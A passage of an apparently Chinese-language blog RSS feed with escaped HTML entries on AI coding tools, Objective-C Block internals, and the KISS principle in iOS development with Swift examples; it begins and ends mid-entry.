&lt;td&gt;终端中运行的编程Agent，适合命令行工作流&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Devin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;云端Agent&lt;/td&gt;
&lt;td&gt;全自主编程Agent，自带开发环境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Amazon Q Developer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IDE插件&lt;/td&gt;
&lt;td&gt;AWS深度集成，擅长云原生开发&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="二ai编程工具的工作原理"&gt;二、AI编程工具的工作原理&lt;/h2&gt;
&lt;h3 id="21-代码补全的原理"&gt;2.1 代码补全的原理&lt;/h3&gt;
&lt;p&gt;代码补全是最基础的能力。以Copilot为例：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph LR
CTX["上下文收集&lt;br/&gt;当前文件内容&lt;br/&gt;打开的相关文件&lt;br/&gt;光标位置"] --&gt; PROMPT["构造Prompt"]
PROMPT --&gt; LLM["LLM&lt;br/&gt;（Codex/GPT-4）"]
LLM --&gt; SUGGEST["补全建议"]
SUGGEST --&gt; USER["用户&lt;br/&gt;Tab接受 / Esc拒绝"]
&lt;/pre&gt;
&lt;p&gt;上下文收集是关键——模型看到的上下文越好，补全质量越高：&lt;/p&gt;</description></item><item><title>Block底层原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/block%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/block%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</guid><description>&lt;h2 id="基础概念"&gt;基础概念&lt;/h2&gt;
&lt;p&gt;Block 是 Apple 在 C 语言基础上扩展的语法特性（也称为 Closure / 闭包），它允许将一段代码和其执行时需要的上下文环境封装为一个可传递的对象。Block 在 Objective-C 和 C/C++ 中均可使用，是 GCD、动画 API、回调等场景的核心机制。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Block 的声明与调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; (&lt;span style="color:#f92672"&gt;^&lt;/span&gt;myBlock)(NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;^&lt;/span&gt;(NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;name) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;Hello, %@&amp;#34;&lt;/span&gt;, name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;myBlock(&lt;span style="color:#e6db74"&gt;@&amp;#34;World&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一个核心问题是：&lt;strong&gt;Block 是函数指针还是对象？&lt;/strong&gt; 答案是——Block 本质上是一个 &lt;strong&gt;OC 对象&lt;/strong&gt;。它的底层是一个包含 &lt;code&gt;isa&lt;/code&gt; 指针的 C 结构体，满足 OC 对象的基本条件；同时它也包含一个函数指针（&lt;code&gt;FuncPtr&lt;/code&gt;），指向 Block 实际执行的代码。因此可以说，Block 是一个用对象形式包装了函数指针和捕获变量的特殊 OC 对象。&lt;/p&gt;
&lt;h2 id="底层数据结构"&gt;底层数据结构&lt;/h2&gt;
&lt;p&gt;通过 &lt;code&gt;clang -rewrite-objc&lt;/code&gt; 可以将 Block 语法转换为 C++ 代码，观察其底层结构。这个转换虽然不完全等同于最终编译产物，但准确反映了 Block 的数据布局和调用机制。&lt;/p&gt;
&lt;h3 id="编译器转换示例"&gt;编译器转换示例&lt;/h3&gt;
&lt;p&gt;对以下源码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; (&lt;span style="color:#f92672"&gt;^&lt;/span&gt;block)(&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;^&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;%d&amp;#34;&lt;/span&gt;, a);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; block();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Clang 会将其转换为如下结构：&lt;/p&gt;</description></item><item><title>KISS原则</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/kiss%E5%8E%9F%E5%88%99/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/kiss%E5%8E%9F%E5%88%99/</guid><description>&lt;h2 id="什么是kiss原则"&gt;什么是KISS原则？&lt;/h2&gt;
&lt;p&gt;KISS（Keep It Simple, Stupid）原则是软件工程中最重要的设计原则之一。它的核心理念是：&lt;strong&gt;简单的解决方案比复杂的解决方案更好&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="核心思想"&gt;核心思想&lt;/h2&gt;
&lt;h3 id="简单不等于简陋"&gt;简单不等于简陋&lt;/h3&gt;
&lt;p&gt;KISS 原则强调的&amp;quot;简单&amp;quot;是指：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;易于理解&lt;/strong&gt;：代码的意图一目了然&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易于修改&lt;/strong&gt;：改动时不会牵一发而动全身&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易于调试&lt;/strong&gt;：出问题时容易定位原因&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易于测试&lt;/strong&gt;：测试用例简单直接&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单不意味着功能缺失或代码草率，而是用最直接的方式解决问题。&lt;/p&gt;
&lt;h3 id="复杂性的代价"&gt;复杂性的代价&lt;/h3&gt;
&lt;p&gt;不必要的复杂性会带来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;更高的学习成本&lt;/strong&gt;：新成员需要更长时间理解代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更多的 bug&lt;/strong&gt;：复杂逻辑更容易出错&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更难维护&lt;/strong&gt;：修改一处可能影响多处&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更慢的开发速度&lt;/strong&gt;：需要考虑更多的边界情况&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid"&gt;graph LR
A[复杂性增加] --&gt; B[理解成本上升]
A --&gt; C[Bug 概率上升]
A --&gt; D[维护难度上升]
B --&gt; E[开发效率下降]
C --&gt; E
D --&gt; E
&lt;/pre&gt;
&lt;h2 id="ios开发中的kiss实践"&gt;iOS开发中的KISS实践&lt;/h2&gt;
&lt;h3 id="1-选择简单的架构"&gt;1. 选择简单的架构&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 过度设计：小项目使用复杂的 VIPER 架构&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 每个模块都有 View, Interactor, Presenter, Entity, Router&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 一个简单的列表页面需要创建 5+ 个文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：根据项目规模选择合适的架构&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 小项目：MVC 就足够了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserListViewController&lt;/span&gt;: UIViewController {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; users: [User] = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;viewDidLoad&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.viewDidLoad()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loadUsers()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadUsers&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Task {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; users = &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; await UserService.shared.fetchUsers()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tableView.reloadData()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 随着项目增长，再逐步引入更复杂的架构&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-避免过早优化"&gt;2. 避免过早优化&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：过早引入复杂的缓存机制&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ImageLoaderOverEngineered&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; memoryCache = NSCache&amp;lt;NSString, UIImage&amp;gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; diskCache: DiskCache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; networkQueue = DispatchQueue(label: &lt;span style="color:#e6db74"&gt;&amp;#34;imageLoader&amp;#34;&lt;/span&gt;, attributes: .concurrent)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cacheQueue = DispatchQueue(label: &lt;span style="color:#e6db74"&gt;&amp;#34;cacheQueue&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; pendingRequests: [URL: [(UIImage?) -&amp;gt; Void]] = [:]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; requestLock = NSLock()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadImage&lt;/span&gt;(from url: URL, completion: @escaping (UIImage?) -&amp;gt; Void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 复杂的多级缓存、请求合并、线程同步逻辑...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 对于大多数 App 来说，这可能是过度设计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：从简单开始&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SimpleImageLoader&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cache = NSCache&amp;lt;NSString, UIImage&amp;gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadImage&lt;/span&gt;(from url: URL) async -&amp;gt; UIImage? {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; key = url.absoluteString &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; NSString
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 先检查缓存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cached = cache.object(forKey: key) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; cached
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 从网络加载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; (data, &lt;span style="color:#66d9ef"&gt;_&lt;/span&gt;) = &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;? await URLSession.shared.data(from: url),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; image = UIImage(data: data) &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 存入缓存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cache.setObject(image, forKey: key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; image
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 当真正遇到性能问题时，再逐步优化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-简化条件逻辑"&gt;3. 简化条件逻辑&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 KISS：复杂的嵌套条件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processOrder&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; order: Order) -&amp;gt; Result&amp;lt;Receipt, OrderError&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.items.count &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.customer &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.customer!.isVerified {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.paymentMethod &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.shippingAddress &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; order.totalAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 终于可以处理订单了...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .success(Receipt())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.invalidAmount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noShippingAddress)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noPaymentMethod)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.unverifiedCustomer)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noCustomer)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.emptyOrder)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KISS：使用 Guard 早期返回&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processOrderSimple&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; order: Order) -&amp;gt; Result&amp;lt;Receipt, OrderError&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;order.items.isEmpty &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.emptyOrder)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; customer = order.customer &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noCustomer)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; customer.isVerified &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.unverifiedCustomer)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;guard&lt;/span&gt; order.paymentMethod &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .failure(.noPaymentMethod)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
